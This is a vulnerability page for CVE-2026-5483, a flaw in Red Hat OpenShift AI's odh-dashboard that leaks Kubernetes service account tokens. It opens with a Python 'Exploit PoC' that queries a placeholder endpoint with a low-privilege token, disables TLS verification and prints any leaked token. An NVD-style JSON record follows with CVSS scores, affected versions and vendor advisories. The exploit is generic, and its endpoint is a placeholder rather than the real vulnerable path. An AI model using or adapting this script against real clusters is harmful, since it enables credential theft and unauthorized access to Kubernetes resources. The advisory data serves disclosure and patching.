CVE-2026-5483

import requests # Exploit PoC for CVE-2026-5483 # Description: Exploits the vulnerable NodeJS endpoint in odh-dashboard to leak the K8s Service Account Token. target_url = "https://<openshift-ai-dashboard-url>/api/v1/vulnerable_endpoint" headers = { "Authorization": "Bearer <low_priv_token>", # Low privilege user token "Content-Type": "application/json" } try: response = requests.get(target_url, headers=headers, verify=False) if response.status_code == 200: data = response.json() # Check if the response structure contains the leaked token if 'serviceAccountToken' in data or 'token' in data: print("[+] Successfully exploited CVE-2026-5483") print("[+] Leaked Kubernetes Service Account Token:") print(data.get('token') or data.get('serviceAccountToken')) else: print("[-] Token not found in response, endpoint might be patched.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploitation: {e}")

{"cve": {"id": "CVE-2026-5483", "sourceIdentifier": "[email protected]", "published": "2026-04-10T18:16:46.567", "lastModified": "2026-04-21T19:51:11.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in odh-dashboard in Red Hat Openshift AI. This vulnerability in the `odh-dashboard` component of Red Hat OpenShift AI (RHOAI) allows for the disclosure of Kubernetes Service Account tokens through a NodeJS endpoint. This could enable an attacker to gain unauthorized access to Kubernetes resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.16", "versionEndExcluding": "2.16.4", "matchCriteriaId": "EC21D011-396C-42E3-B7F2-CF79863E4453"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.25", "versionEndExcluding": "2.25.4", "matchCriteriaId": "9B729435-71F1-4C57-B796-5081D3DEDDA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_ai:3.2:*:*:*:*:*:*:*", "matchCriteriaId": "603ED0F1-4724-45D6-A188-8FF41EF55587"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_ai:3.3:*:*:*:*:*:*:*", "matchCriteriaId": "8DF87246-7B43-47F1-84AF-FCC2CFAC1270"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:7397", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:7398", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:7403", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:7404", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-5483", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2454764", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}